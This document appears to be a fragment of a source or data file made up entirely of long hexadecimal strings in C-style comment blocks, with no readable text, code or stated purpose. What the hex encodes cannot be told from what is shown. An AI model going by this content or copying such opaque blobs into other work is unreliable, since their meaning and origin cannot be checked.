47655fc3316080b944db44be8e1865dfed4d921295fd5d1297dfe5853b8322dc4a6b09590f91054d012bf2c88ca799a76580c3ad2c4b15608f910a9770123a72216deb66500ef65dfe6da69d1a6f3e592b507d53e8c742b24866314c193de945d56781db57581c331628d0d265192e5baaa4e8161d959420c3b039acf6ba1d90b7e863b3ed473ebb2108f46d8c203c4e1e33ad8ec6f4f2a8562a3400ffb676cda66b2ba1cf582caddb4ea60ae0d83224b498ba56b9c77662a0115adc2891835a85e69998139998a926c9b95637d0ab2b5fdbce51eb7c54c4633db7723a28fd3db15bbe1a57eb8f86081156b4e7f0712fdd1ee84791643f1f2c1ad6f535d0575357e8b7381b9b66f2b4b978cecb591573443d07ad20b6bb299b1cc3ce3ce76ea5e92ed5982ad757cc2cca230e4588c8e180ac088e825e51d8332aa3846ff35f29c3339323b61a97da4dd128a87294549ecb1f63f1eaaa5f26837d08d057899d0d8bfe14c36a447a739625d762b2433478df18992d52ab95c52178ca9b889c53df8f44615352823105a3e5c841060b297121be39e0fa5eb41d00e18bf04b933af4237fc49ecb2cff3b57014d5d0579b7e3f55aa4add98b98a8ed71c4cb3936b0046a02725f0e86619cbc93704f05d5dc4836f2c86a0d4c69d13390c007d13881c*/
/*5d0b5a28b0e73cd8da1f70c6d584efcf1328686a447cbf429941e24be8c7a952ca2e55a5a861460f61f0d32e5415aa681299af14bb52b33e9f0e081b104c4d3607b6068cbc9e6c1932512100138d9ecb0edc6311b2aac9add26cf4a511c2741b1dc25ccf3d5f649af089cd1cf91ce831b42458cc978d00f98b687e2efdddf7cbed7d9b9e91fa2a884c064b3b463d1aac75e62d8fe58fb9b91ce9b14f713e5ee4509eda64fa8c9555a3b21f502ebc601c57bcd03e4b5fdeea652661b3fb7c10a0088d0340e9ef3d49a3184e870e4ac5f1146ca924ed196b4f4002eea67725d73e8de716ca2aca51507889779ebea5dbe900c812ca680dafe6878640657e852d3ba113ce45a9088133ca48d5a8576bb67598ded2a826da2bea9563e4fcdb4ded6a88a5734f425e7b80899545e4d314c2f8966d453d307423e071c6fe3fb0290d06aaa792ef99783210ebf2cd171b8d967062fbd69333d645847c10dbf03629c782e7e04c935ab20dc80d6af19553fad4414a69fba749bcda45372876a677145bc99f7100a09be81a0c923c9754c9cc6bbe376746aa0dda673ebf3fc6c561b04d59e5500b1f99279edf894514d179159aeaa86523a26fed19f9009228e86dd6e9d8aa67b38aab58b5ab7df01977c1782719d165647cafc4c9dc511e65239772c821e71d7a5692775fe93e7d6fe35efe1d81e759fe35dd7437b40fcb20d67370a2c982493c2d2b185d4e762c5758661a049531b2eca5bbf8fc4a5fddb534781634e11d18faf5d3668a4edac8a1708044d08d9b7bd615ee4a5a00fa2dde7a32b35136560c8a356c695363e70b7c4217b1f83091aa50928770f331fcf4db81b5f75ba0582d43884eb7de3a92551710a6ba37f9d71b49b6b0cce38b0e5233fc0c21b8a0c8b4959e614a39d216c0755c3b35e97684d74222bfa1159f5ef6b567ad741566307310e77630a0f8458a5873d94f70e96770c2c569649fa1ad66ff34f4bbc2f735ecadf5399afd6682534ac7d56866f1f52d107bf57bc89289c7f011faadbfbe9910bda5f96e19a49278b0a508b755d939c1d61aaac6e2ba06428820143b087e54c03e1fea29025068632d6af9d7265e6bd1d85f66919abf384f8fa635fd13682aad438327bb4a2a3ee53605ae23b9516458f5d43a30432bebf61402c178d7794a6b4523d8eaf13575b44b1dc7796f4c68041ae64e4688bbec97e2494a6f15b3056ed08a640cfddc9c0465028f2f45749bdb9cefc3b3e2a4c48dfd5dd3945ffd644d898710e6b86dcea47df5f6b8224987c68ec32855756b9e6aae362a2109a35ef1915ffe42f614cc6a42dcfb460a63d532d2c2e3b0353f1a5247e98901bf49cbec36a9974239694971e72a41c45a196417ecad8ace083a9f5f5215e3a2f530e80c7cf1067954414ef7c2fe8efb1e9bc6f3554a12eedc1680ad3cbc3c915fa4650eb0008ada3ffab0e246bf8371b3ab6352d98078cd2d95ca2c7a56b5c042b58627221292efbff2ff9c979908796e443d257fcecf521f36457f8671d64e3bfc48d45b6159349fced26cd48067801895d9b0f85bc2d65b9f08bc9313bb1d0b470e7beb75390128b7ef08afe6db22ed9521611d04eacafef2893de9ad887d6322441f61bacbde85d7d5a2e5cf06bceb730c3983138c6af9aa504f4e6b011ba0ecbe73bc6c811ab2162f49f361607bd33456e44ad6162a25dfe881afd4c42b20f968e53c2d0f82fc9d0e70fae783fd6fa1f7578893f510afe6b38e3115fcf97d7e13b1716bf1c00cd7398effb75d14665780ab6fb11d2a37c9c17b652b5c508d0992fc85b71543d0d84150a2d8a952a982f48e0ac54f9ae2fb751a87af1ad9290c038e216e6b1d7bb6111fc9ea017d3605dd38da5ae6b0679372b28e0a0028f63da79964334fe611b3dee7fda90316ab8cda74b1135584ed277aee47c5e4303d0acd1d94d76cc8596d62e0eb5fbfe25b9b86da9ac935263b6580f60f3b9166a7a3868a4b0c2bc7160f4c4b1767ac814c92f26b044c7ab5df054727e0d63a5bf05eac1e554327673b713649892e2ece2253a62b04937546416ab7235cc559bf76db238520999eddbba5bb34f7756fc23d279e4262469816e940f0e996cedd448bce272915328232a49af9e865c4e31054a547c740c5ae51590e8e47897dcd21fed27b8ed266235d1dca5b502353d87d79669ea262ee68d88d004c4f0e399eb09326707b907c61854da0f32d641bea4cda74d87f155724eb0802b220bf52457412c7d52964643a38efa74896820dc452eb5784842f50463fc079af5f741cfa9d2c40fe8899861582e1c6cd3ead7c65bbb1a47b015df18b09ab868854abe99c5e6da27c8d403017746cb4e32e1ad0b18498af8447b82d1580ac65bcf60b76327296096bf25ce2c1f4479ad0bcf9f00015a8278cf1aa0bf8939e7372ea88e25aa3f725908e8dc032b39a4b37c2d41584d71797552163656d0c843fe3fa0565a77f542306ca8bbf3346bf392cd75f5fa309ba063fdc35673ac343e7da6d334929ea486150f2c8852e3c8b65b62f97af1b7851048842c8c9eacfd87e9c46dad82cf509be91b2c6a6cb43fd8a9488d5db6816c425e9a8e1f31bd249bbb2c07d00398abd5ad5475636aececf0432b35152cb249aeff9d60236faa1ae68bc1c4075edfd1797e17593f809d27f5d7f9e4397ecfa60bab3fea9c71bc344cb32fc8ea40fe274c6b3f4cb35572e66a8fc243c894a375bfdd0b831f0d1e6886604b3e62c7bfec975a4249a8c5515d47ab80f922f9eded53e2277a962ea82d30ce2b3bedd0d2862aa491d494b165da57fffafc67d1c9adbe0*/
/*c27872a8c0902cc3fde665c07cfd9c790f6f061fb75f356713aae01c7b863ce0e47b8be1deae4656f9c3e7efb84c9fe52d28b618759ebbfacdef1bc6376bb3c8408ec8b7a2dde0b7ac536962f69f6d74894eecd0533df9689901f11226ad69b33bc92e8a9c2deefe159c6d350a3cb895fed80a51ce46fdf71417aa1cbd255593fbe13143b452fdc1c73c1dac4886fbbdfde41b6cb640d43197d303db0005841d5f445f2813cd637fac33cdffaae072fb2ace578f42731879b4311042d1a48185d8c5123d811264e61e9eb9c6bfe792ab9da303d5fc5dfcb55918e7a4f730aae82e93513cad4c70a04c9388989132702c76fc8c25614570fbca8942a2bf94d7b937df37db62e5b3b78bf4ccc8ebfe620b472d9ed6e9bd3660a9a515785afbf114df02639d062ad9453108d1036884b6dbbeaeec035b2e2d8322dd3e042a89005a4df8d9ad36343a7c7ddd50656b27c1b4a0825fd006a90246e8c67a65c968a4bd4151ac445844e3625424c5285063cf3abd9f732ccd752b291fa77c76fc0120d5b757789622d301e22233c19bd311e6b8abb43d1461f245202802ae95495aeefcfee5af4385ab09dc2a28da92d895fd9af35b9c5182c00c54cefaec059eae178e606f39bca9b98f26f96ca2ce24a477bbc21fee2c9daf9f38b641245fd4f0a5131249dd0f3745ca57ac4480e46556b9f0542eef1ab87b452fd6c87371ed31b4db129b9e38c8ef68db47c6ad5e0d30712875954414c028c193cee82ad49fdf2dbe22ec5138ea876d2104bfeae5b89c8f660c98da6f398573ae75ff5ee106ec31abb8e956b77b160083f5509c8d53c9c398401b8de6d772f40105798b390006c647c270829715af396f71ffdae60fa985319bc10659a9752c59f82f3d56c4d634d9e28a280a148d872c5defcca1c36a6ac068e02d07c647fd3acfe0c9c8a75e474adc22dd5045a1363e420b8dc811a0e86f92da338eb62f9e751435a74a570cb396710caa4e1e396ecf388f79e7016b2231b96d6ef44331aad4fa48e5489b4dd056db472fe68d730dc444a62dbb717a278eaa7758f44d2c3767e2a940bd56c4e4dd49e519afded45d5a4e757fa01fd3e002da148407daa099ba582dbd49067f5e78cd9c1aec79d747d4198193a0391e0620145aa282601a0374f719d28af3dd9149e10e484e8e0319d810ef51fa069226f48b8f5066f94d32a0f6d53be7c8c1669486803af74d5ead64a954fd100d49dbe2415c9afdfec060f955433f82ffda8d2e91f396835a133619a5ae8822884b7bd794e79adee055d8465ff85fdbe431f97060b4df47c63ada9ec4ed28ef16a3e90f12e89cc0ff9b5c8be25fcf68f6bffe3fc6650768118d86e9941ad35644b6cc1f4d20d786e53f2abdb80f404660422b225d56a3ab6a6c8daa93527b2d412aefed2ad65302e53b08f3367947b7be8ad7c70e44e6a68f14926f7eee47dd86334b6a1d6676533e5cd6e142da8bf3c6d052ab7d14474a5120057d7569ec07a689088dcb61abd60fefd479637ca81c942f8d525f0c7eedecb4d72cf384a2d47f2ec0d5a7b478ff27ff9458930036ed302d9fd08c20bb1e1b1929c4ce86ac013444b23a759c2c88f28f77e45b2b7ca0518ba6601216a4a9d6b049ff1544e7513cd0942cdb8811afec6cf28f846d2c37e93e404d9bbb72de7ac16d8ca4c13d385bbc7fc55d9987f429803d09117997bf956df3d5cd7fb1223afb588e7701cb7611c850034f031810d6c743471eae3d3bea9f1a8301e93eaf9bb57a690165fb3a79768b0b9463d334bf464501dafd27b22baa21f9c33f22b74111b0c55bf00b3efc071f92068551b3559ba4c25b8a552cfaad34dbf51c57b320a9bbe47f8243786097aabda1e6ed3c2578f9876fd0dd51c0adadaacf640b8e1082834c9dbd33016843954c017aa8378dc1e6e428ee851a08282069f5dc9eb5f310a7760a4af7a650e38fc8189dc0203a5e67f58409d345e86545fd1fecfa27508efeef5bee88969f5b863f32f871bad41fd9127991dbebdf285484a000b9a3ef727151ea160e37296c6cd56b2e2b65a86137aa272cf3ba6b3c37bb6172791be5847b3a2d8b5add31987bb02d9d943cc939f78d7cfbdc79823043b842061b73b1c719eab6c5e88138dbdd3122fa6168650b628a960a7e97c3b542c93d92540c930c1f0977483b06a4e974ce82b34d1baa3f2081d2ffb9628532ada209d19166eaa13a7a325df0cdeec497662415d7e99f5c6341cede456030318e18ea89661aae2a759c3d43447fec92cc3ffa730b3c1acf5835773d8f06777497ba29aa9ed7bfa872412efd343a1eda4cdb06aa17509d4cc077f08e78d71a131a1a062e2f75b8c0858f69c54ed29c5e7609b5afe060dd9153f7a620dfcf9f5be31a94121cc6a70acba15b369e05fc900eabd70622ada7a84651ce01c0975efecf45cfff8e83d868532194f48f75e7b2e3d7282a2c882f6279c3d4a61e2b8809c401399cccee41a8ee539c290e814e596dc30905757473d4bac122cc74bb382591004ddcba075e461074e2476e1513bf853147ba6d85511b4e7b2c3ed82db0d77c60df2c5cf689731daff64c8bd28fdeebb229a3cbfc2814e4fa1b6b1b2fa6ed41aa8f1bf0356c2ad7c62f08b667e43f2ffc939af25889243e12ee4dc96d25c4010bdbae5cf1e6c398070c233204a639a7294e573a0035c18b69aade437731c85f21f8d306275442ae5586475f4e98f2be622d3ac28d687f2bdef2e85d46d5188c35fcb7073e0f9d3646849c652a06282828255e9c998483cd71f6af14465c0a47c05a7b4557937eb33ae0cfb19d7c444063*/
/*9e4b754fa5cbdc4cb87b3d2c73ad220499afafd0080cbb23aa11e3354601b0f4e35a65b1fbf98957be9c148e08843e9801693fc4f51357adb183de107031737b0b5327bcc65dd13c1930556b2d14d46e4a2d791628bf54dd2ccb1d8bc36517e71cdd25ac7a9021f2b15de9f1411ce6f6a85a338a8b8fd8c223aa8079557a79c52c554423864ddef809ea1484922afddb42bb7ebe9950ee719ddfc2315c2e84bd67da434f992f5c3295248f4d7a7e69716bfac3d02b2b542b19eb2c43a4652afc4164fcde3fcaca698f02721355c9e13f62f71e6fb952e15ac25aaf688746154a44179d857b01bfb1a71c99ba81b51e922072af186f33c48a35f74066f58ddfa9bb0c6dbf725169f799cbc3b173722e1b4360fa7e9f5ee415c476f139eb71b9d9b937100f211275aa7e8787433acb696b077703c08344e3b99a6628317d9637c812ff6fc3f27026037134753d0471d2280ddff3fa86e25f49ea2959ac1fb5725923f4317f041a36fee8db438d8461f8b6b929907fb1793e4417e03eecf212e9b043f0688e2b679efaef269d04e9a6da4aee6a1f9055430bfc71943a0d4aa69f97aa2930c885f95d29ac0d12238434ebaf9d49fd29ebecd10b92d0864f6fcf127f9d14019c2f99cbe96626053faba92af33d20bedb732f757cd718040f3f2c70c14af3d62b50ba354f7d95695ac357a740f59f6dbe96e727919263cc63941662ec482a78e87c708632f3eb73a9e3cbd9d6415173626ab9e68efe4ee220473ad2f30a6ace348f9782f94f89aef6e2fb10583c67980781396ea8cf59b05442b107968ea038263f7433eaa0f99a7f53cb871d70be764d00b85ee78718613601047461ff18b9d1683fccbb8175f9833340a583d180d822903a01bf6980c0bf5b65e5081f81778cce03459afc7e3553100cbe690ee77f1e0a57992e31394f0571383018debfb25ac2e4f252aa3ee3a379b56d629f78aad25c30dbcb24eddbe562ba223c32dedb4b96588c97460af3d149f38ddeacb07dfe9daaab303c0cf67fdbbadc3e47fb99139273a4ce84dd3a151471d789ccb75068f20f226708c6de2b910a0cb4cdd03ffa30bb15fbc8222a6148f4fd4379fd2d9ec6d5777224c04f18345cd01bd8aaf87562a3e2cb217883441ea54777d4ecf7414b6ae7808ecc82af2e562cf04df07367e964f6aa35223cf7ecd84aefb7337151a8a1a4b41c81c053210f7c9cca5946627f9d7154423b36e78441418bead00e86bb8abf0fa2638455178714daede7148f07645111e818a1ac57e319d141ba8ae97bfe15b47e3e7382b9f4e1127c0153b7c032578ad9337c98807f66c5deb8340337f5757bcf37da6c7b8a1fbdda308992d180f47a85db9111bc5fa507f07676df9e30a8d4a79a2045c4e9afd924d48a4702ef4efc796d4577c82435d48cd89a818ddb9c88ea806954e38f78c03a60e456c4b6a28a53beb665522d4707c6319d25ab4a111ecd392c3595d0530829c8777ffdf9526f91696ff182b98c73ebfb008e316e9efc299521dcf3993ea1420f00cb483ca8e5ffd5d29c25e5757de7638049d106e1f9750630015be4bb962f9711c01c15b0c238be64dc20bb832447283777ed0f97d3472505d2f3268137cd45a5bd0c35390483fc9408f6f8c3a42d0a1d7b6d69fd3f76350657358a368116942d033ebd04027cd581b1d3217bc2c91227c4a1a4925e8a9df38539af7caabe5e2e460629386b7ddae86da709655095c2cf790b206a5853b65a9019e42126e0c029b7d9a359364f3cd9d422624d38bc604e8fe7df1e46827f47c63c4126cbae27b560c04c0fe19772a054c4aff4a6e9bd2a4886bb1e7bf4edab24873b5299c095823f82fdda983426ad631e580c75e8e40b4fb1be2577c1901eba3c34eb587387f8dd7c8f832cee236a2de1cea6fb2b0bd135cb66427404574eac5fbd84b678a8bcd94d8a55b854771fd7a6f09dff3fde921bd45eb2deebbbbc3202062fbf961f80a4bd83aa6a52dd90b1e0cfb4b38fdd5479525fa82739ac598ffac714dc1ad65ac9c53726e06c6575ba9ab59a324f9bc843b49640188c689afff298bd3c36e4f346576ae90d905b7c1a16a149b4c87436e2a3f52a23cbbedb8cca1bbbfb0b5afe344c9a34baab283e7d13356161e48e13961838abac5a0ffbfa74cdce503bcf033935d60e7396d6982cb2c6e2bf735e81e7becf43a73841ddb86c0ef5822554040005f8d72c559c2b443cb6bba2faafd3a3798e054bd7be0f090261589ffe0d9cc02f3517a10f2a97d952fd5fe5327dc17431fee2f9e5d189be7ccd8967ad6c80e466430a35ead85db8133f29641f03d03a9c3b254865e8f50571b688878c76d4ff4a345aa96f24db5d9cfad4bdebcd8a0d8ffcf14c003d28f98072d97ba5371bf728f7a97e6fa8198df519004f8b12f5fcc3df0bb0cfc7fb133c72d70508cd6efb4273911d3f6186dc3828679e1cd7514970041992f649befbdb1adb8231fef07e43cab264cbe0c288f8ac0a79e7590ef5a8b717b78ac8f824d9afcabbd5b67491e07cd1d9ff9cfc5cb0e8fda71ef65256733b65197bab3fdc9bef1f79f6ed2b20daf7fd8ac55d3e69270106664798d1aacb08bcec8519a6c9e25e5928a9cafc7fd664ddf8bfb224fe77fe795eff4f3375ce98c30468d4f15eaf81b192cd299829765b7c7e98ea74a0a55597120a7c82e863f507d6a6fd66b37ee4e38e89d1837de93100eee06ca5206bfb3f1c2623158ddf43bd19d6d9ecf8c7882553493cdc94a9c04b7683ef77bb8fbeeb2b2f6cb837f1792fd49682a1d19da182cf05af7c3300adbca5c6df9e8293951b52*/
/*11fcba57895e7ac5fa59c087946fdee6cdd326c25397ddc6d62d5757ede2ea104c22d39d5c48c0ce0067f5d9bec8b7ed56c9ce76219f5f5d920f1ff39f4c1c569d9ba3600b5f8a81bbfd42f9d488d8c0c09fee0a21e45883b7027f91259bc410f6c5337c1c4cac8fa78f9f90493f5712bfce80394395a74616f18d0d919cfe1865ed34ddae6e7ed297e1bd7e8a3661c65b006df8b3b6bcdb887f2b992a78941810bc76fc41832f44cef058ed80e9990b40c4079122b8dbc74d5a43e17e0b5e9d3226dbfd297034b33b61f0519ab2555b1cfe2cc5b75147533586bfdd662e378483f8bf72a5fb9462f3ce4f0f7b71400e58fc377b9a40c41bf7d31d7e2aa56546fdbeb5cbaad62aaf50fd9f4aa8187e157541c561b2034a3baa3510bcd661f04c8c2a839f4724fcba4086d2d074aa09ed43b4a0468d5f14495ce4b43695175e4a31cfbc524a56ab45d8c66b87322378137254c7e5d50e5c5fa8138c238bf71467e929aac4836581148be28db3fb6e20349f94edd3873a383b1f89c23b349e7ed14e7ecf816c863ed2e47ff57f68952d7444738d3573deeb98129c482de07c39545b84802c9c54b99493004c20b4cb2967c780ce7ca1fb014a5bbb67348af82ee489e8659cb756044c357237ca103f913b518a203335e7456d7738a64b49174069cc34958c0575d2b2da21954f09d9fb33b5cbc3c767779c0a48dc011906e4a5f9c63ae097b4b42be6d8f19f0c24844ad01488b8fbbd0d8b70804cf335fe158c50734b45c853085f4e563d35e86e417a1450161ec137fba7acfaf83e76817603756615ffa362ae2c2aec3119c231cfed104d35cff32a51a1e3a94198dbcf2659c4058c8bf9d6689f96936a45b9b9bba2cba2794858b7a3c38bfbf32332f193014fd5354869cc58c77f6c5f4fe3c194fabe9551940914c289598d2a9ced4bb0d4a12034943b4de1704e45c493c026a1dbddda053ceeda08433142ffa9d92e2a9297401cf0a96dcc75819d1a3236c75ba43978cf91121ff1b9962c51448e6b92a7dffa297a37e9ae15c56ddf7c488f8c44ef2432a47bfae9ac7c49a66017436f57819acb0cbdb2ba90dd31ee09cda1e1ddbeee77479c5029becfcc492a010c3eac3ff7aab778dae3dd0e053e7593af727e50f3b6e9216aa74ca01455bcd86f82ad40dc857180a336d5bb73ec3a86c84292c42e32049d4132e02e6ee8ca165d006bd8cef50551fb1e67c35eb6737ca2bdb443424a319000c021ab262a6a91e1283b19d592f7d0d64803bc40122ec2cf145aa0b6f236ebae442f1f8927e36f584d4acaeb5ac3861709dbd0e54f8879e5d0c53bc31541181ed32cb56a75208fb8f0ced52662e8369d7495f0b2b8c6e1da197e5280231143d66418b7402a2653faf7228823a1eed905a4e5cdf8b9c3b78fad8c4f5321e10a92e6a8670cfa13ece2db491ebe077f85ea7fec8298d1f5f3c92865170734a82d213db845cff8b6e9143fa9f505eedcc3f4351264f445a1c319b55e490c747631169d9861b34db7cc28a3f248a7268141ffe5e6cbb63ad74cfb46efb3dbc2a8c7f3dcda076d89cc46eb5461b0163c1f7ef49b54f4b197035d45cf924cfecb631f8e7708ab8e9ad25205af21ebe6acc1885d599c26fc879e9c54ac2bd3b924018d52ae92ee4ecc8f6046ebf21b410bccfd2a60bf6147e1110f564c6f226cd5ee782f17552f9e9e188a0b2c555b6446ace9fc5107a524284d7e9a5c93744ac60c9b22e025554708aabc7fb6b3d0f083b1eba2205977bb580492ee48747f74fd7b86a8057a67615baf3c1bad02ad5ec63187e0dd417022c3ba7a30b64c29fee1d94ee7c390ae86c15559ec34c14331a30d6a0ec4259ca32c5887dcf4485997403b56af4e2fd1f82bda9c83ef1f9fe6962db1b9987482bf4ffaee2b44e4027a2326598bd7ced31e9bd6fad9e376f304d48d4f0571d78174b71ab25e5e4a84f3144256f9cdf0023b3ab8dbe3941ed456a13e5fdd60459d2899d1550ffe8d53271ef379f728676c9eacb7f0661427162c3a86c5e7a9d105812e34cfc8fe37e672eab6c5760373829033f9fc0c7fa815d5f412aadf18282e325cd27fb5406f6f2122aee6ca6f2d1bd750049b723ae06cdc89791926b580a5a3e8ec91cc4abb5e498ec867864be2d527786424c33f721b17d481cc3492b19a39ca9136dbcd903f0d59398e14520198a1abe243a1feba344acd3972a5bf516b42ffbf780a1363cc427231a755b4ca352a22532b1f400e64e7baa46a413a39f987f0784d23ac226dbea23b1c8a0254d53d6365c31569cfa1c094e7dc4480090ad17f413e1e2415723543ea001728dd37246ea4761c6f1e5c20e230d1b5976205f859f6a68e7174ee712490a4c37ebb6cd63f104358c4bd87809e24e878990ff4462753c26f57f8aedb3813eb3b88cb3666e1a9b9d126ad1d4d2c411240257787eb5ec82ba3bbf6a7fc63027daf23330074d53fd8459bf16dcba4ad38d1922357f32f49a38ef1aa5aa9d1c2e5ec5a68c5b9a4d4c36a57f29b1bd4372a5117b3bf6a499c26d59f171649c649cf0f90df7354735db2ed560675b9143a3f55b2ac1908dc5fb4c1d56e985e4fc291332b1c63537401e2e4690895c59751eb9e977482aeba37dfa9d8c9c2db7bb60b13348fd9641d7291a2e8417639bafe3d6c2ef908eb22fa3f58518bfa9f315872e54e46189ec44c687b3af94baca45d4d7301ae2ada49260db310b1626f64cb0bcd8632d84cd0889cf3cb490c280751479d4fef5c646c2a4ca8ecec0405efa06a3cee7022b27a83772d9e19ef9b79c9ebb74bd541951ad1723181a13f*/
/*990dda7b5442c97abf611e19d7d16c6c84aa764d710911e5fe4a23f2cd9ea42ad91dd119547123d7c55db7a7ad19e2a40c05ee19d72611a2820dc6065b38f56c07eae79a2092db512678024b9437b71cb17f3cbe3588dabb50af48e9e6e9d16ff320c815840584797c2b1866844b56eda6227f82c9372e797150d0097b241768ff8b48ddc59d3a86ef41222771c5ce8554b7a2ae5fa327d3f8ead1de143fa8bfa655473a415df9d08c579766b82aea9bdb24b1991f8e0de64a7f15e92cdc59eae93d0897942339ee5c5a1315001f37f3cc71b359dfeb06494cd5b177081eedd0b8db9e209353a12ef8240b6b1ede7f1b8a3b9e48e74e6f0ed4030e9c4c4f8813ad3f489c07fd96e8b69d9195ca9b3a145b13c0050a556e4861be547c6b9203790e3e97e6efa4f9f851a801695d074eed065db03d951fdda8c78d8591332d3ed3e36b1d7ef6d2ee82418c9dff47bb06521509eb069d98075a8abd89ee8df72549432bf86194d212da5013f5c9e0e1752559230565853b742335a1d13cfafae46e7970a59a93c6ebba6d782fd9bc1fbb45581e9da97c7ed1e5ece05882bed399f36f166476cac8cde30c3cb4c298f295bbbc50aa5d7bb9057050528b944cba53f7aed590a42e402cb05575f169938dba4eb0a2a71482b89141e7a2494aa2677b2a91dc53d952f68a0c07740eafbab797c734f9ead1300916afffb790d94dfa9978941b3ad40a701169d79c8d85ea8d95f84d9adb4c46f868942c8de895e3830308ea27b7264486811c8de80a3751927f4c9bd0d880e02f9e65ea92af2dfacff56a02d66ee41ca2e2bdf90335302e1552e4a584c8c60e1ccf304cd36e51f4dfb78e7ab96b0daad6ef93d9a99e9a9ed281b5237ba6dfda2459160941fb245c220dbae6e5236f883b9714359d2468b374a468ae82f0b9335981d28ef209dca64f33e25a778635c32c43051403ff512e626a059f2041b68a1baa4a8d8900344afafb06193ef1768aefcb3863318f41c2ebf4ae8ee3532c2d997669cc44a754c3c72ed6aa08f5df6bfff35067fdb3ba3eaaf9f066967f648e9f4611c7b4ce06f5d22d4946402f1635f1f456aec90ff23d026955bc0e3a9c7337dd90bc4452d4c95fcc62a737875fad5de8b4308c86f4f56f5883cc19acaef414a7d9a2de114514d8f087a188357c63ae4e4489df74f471cebf13220494ec957df8ccfe02d347e7c5357d750c6d59707956ec981a55ec6032aaabb11ed0eb8fbf16d674327f297c0e5fe237bdce51dc70aee6f5dfd47f92d1e9a66653022b9c31587403dea1b00cab8fff72b0433348cc69aeb40f2df8b6005ece31cea79b70994552743ff00c1bf27dbdba1f1e74b3ad05a1daa225dcba80008f066e047544bf71c2b645239c0035c14dc06d6d72f55585cfba62467deba3be334ce3ea04ae68bc6db7d1b38b437336803cdd6d63a7d71842032ba974b53e7530ef1d5e7a8878737c8b1f14fb330d7b3672258d42786dee23509813136da42a52c3d48ad8f5fa84c40255ba934bc0a0551865685e11b587b5b32b7ea106578eae304f1c9aaf6c62e5f62cc75d2fd5f2e4e62ca6a83fd77c79cd16f9e491e303952cade71f8043f8e7ce4bc284dada224e3c035f3d36efe9bb4b21fb2ecba7bff010d4c9e86e02329de3b5f6293bfe16e759aca1bb18b0dc178321834105b6c694f027c0d470cdc4574e4ee599d7bbb16aeaedb1000f8a1c7a01e771d6591068c87f269e7a6d8748c37cb453c5d41b4fa6efaf6e7d347524e27703b6ab8d09b284276c5d45975476bb68415fec8964534c72b84e18565b64a965c1a3c83cbc5351320e1e3bbbd1cf2cfef0954a46024bcdd149172db88a2ad3334038a36e96d2a094e141682bd6f17ab9f6d6e06ff93eab81c6aed7cccdf2a2ca9fe1c9b2346f69966d15ea87f00560168e274111045ba21e4eb1f06b992a9dedabbffd42d3429553d3ac156369d0f7eaf9fd8d5489e6ad09f4361514de61774905a0110cbe84208bf548ef6030e65f9a87a80d319b77bad8fe828cd57ade4b14ecffb5725b6e8fd05a69fc1d5933bed43b19984afd635d153e156329d84bffab6cadb6f33656481caef4e9d10bbef75b57e6eae09d1695a3854817fb1722bf6f255a88216a56ee5469f790be4bed70598afa95ecd8ba4cea80a70f8b9844c07bae6f165f34f269b413bbe7e7c58eff41874bccd24c5da02c357dd76d09f1b6a987bc69f3795d41e4b031874860b705a8779292b6f6d192a89ad826ceb92ad2099b44c0d6de6448e3eda701d7d97225bde64e4953bb0262163b2559ec5dbb97bd1506dbf3992097eea0be2709f146eb7dd1549775b767f552e10d34b41b45b928e37ab421c221c51989961e4c42df34ec38b00ebfb5a05e03b9ce643b98e38ef868d5ec485e45bf09690d54e539b2a2e17bd107e1a52b8af5d3325488598622d452537f22fb395a39d9495331d0e955690cf3939b7ffb32e3047295502f161495e77c135508567a09c93e20b2bff52ae243b1f67047be7f6994177fad3bedd9911e788f87ad7c257d4e305d4d6331b967090c0054f1919f08a9406b9d0c4b83980ab027c97a333890c76fefe975fc0fd92f5548d623dc5f4d1f823a299ed7e6d4d0ddccfc39da1c5612e99f6343b3feb33799631e7daab6c5359f4b3a94257c0aef3d47ef7cc46aca26f2ce00e683937f0c4d68161b2689b9fb2747bd03237293b5d4a41a511670ab414fad6447d2465fbd23abd3961b2a3440cf95b0bfa1c44ae44b3bc8feedecc33546b0c9b4e2cbcf905513de7853772da3e5f8cfc6ec16699b36c857469229*/
/*33f5a90a724a2e71536fdaf440d0604f580772d1be536e807240e91c21fae650987666bb27744d94d7cc076ea764af2b0d3625caf0ac90d1a742a448322ed957d636e62fad7dc7f407964d59993df6129a1278df4c0b380e42e21c7cea4228b61f150a546c9357878779d8f61e541601c0dcecccc412d90db35cd6bdac959736b2d39ec4eb026ab0d27c15ec2407a0c8e66315058e69db0c9ca5733ceb7816d0b583fc91f0c807d5efc8752dbaa54cadb555a923fa48a8d924787f12265ebb06aa7e9fc80d91770f7460e061854adcf86821d8663ba16975abfb5ab47c38b27aac41f2cf3d6439f6aa3e70290ee1af2f5234bcf409f0751252d69afeee420ebfea787d5980bbd37ef4f36f4832937ec398b24a8ee2400e2aba409b4eb455081b29a069d80422fab5567fdb84c77e3198658c11865f2f2aee3cc77ce944cd382a5ff4dd0018939c87ed1fa2c041e4bfae64067a46e22b35c712b4da92c95c35f9b4886559cfb26a783f13cf3be196c51148641aabbff7de08b78e1dad21a501a3e8c8feac7ca6906aa2767975ebe37f1792c16d10c8880e116949e04c3f575453f617d2e25070a6e48c836d5a56e8611324d1770d22a52a77e94255afa417bf763b8229c1f3f5405cae92aac9dc1e1e00d37587526b35164514a977b575dfa0f1d18246b63196e4db2efb6ae60bbdfe6af0a41f980da0fae6d3b373f5d8247584ef7d4f483529475f6fafeddf87ce0231a02dc82c851cdc60240d74eb20f03d6ac09d8bc580025ea3364d93903b5e03544d5914bc3de62f8338f741a33e0ceae1168c7e737bee7113e599bfea7b5fb460f147e6d9310f0e70be23e3b5f7ce9a7f3f832e95e6b28357c52ba2f5899534e2b4e8dfe7ab7b21deb0aa45a829f6aedbfb229454f36b9b5f601928906f36f2942e6898c8fff8ba9d1ed3def2291633c4d65be5af8904a64f37288f7a71459a9664963c82ac88fddb48f5c910cc0c96d5fdd4cfb517ac7098d16c4b5eec6007d0f7fc79437c1451326ee82f2cabeb2cafc9c2634ad872cfde22088a430ee0b6984afae25f981e67d171a110c1456f9a823d629fd7d465bc7604fdf6677b781386b7bc49dcca8e0b2a1e4602f43a76cdfca84e69cbc5c05cd5433404107d62485ea18cfe2ee3c088c2478306673127dd8be52e8b425653de311eb963c248e282f9694e4920fae559017725b3ffb6422e1892b1bd3eae4171ea22cf60ffd31d40263c31d6af9ea04ebca8a442f70877381a276725d74746b234426e9181eeca5210213f677d1de7b941ce52d2523357793cbb9b1ac4edffbca03c362dc08b8d092521bc54eed4ef671add0c303b4938f2b98936db95a2dfc8088bb667bd708f5345207cd59b0d79fb6a996e7dadf3259cb4e6d1aedbce77939f31af34f867e5a7d1d1529d6610870b0bcbb17f10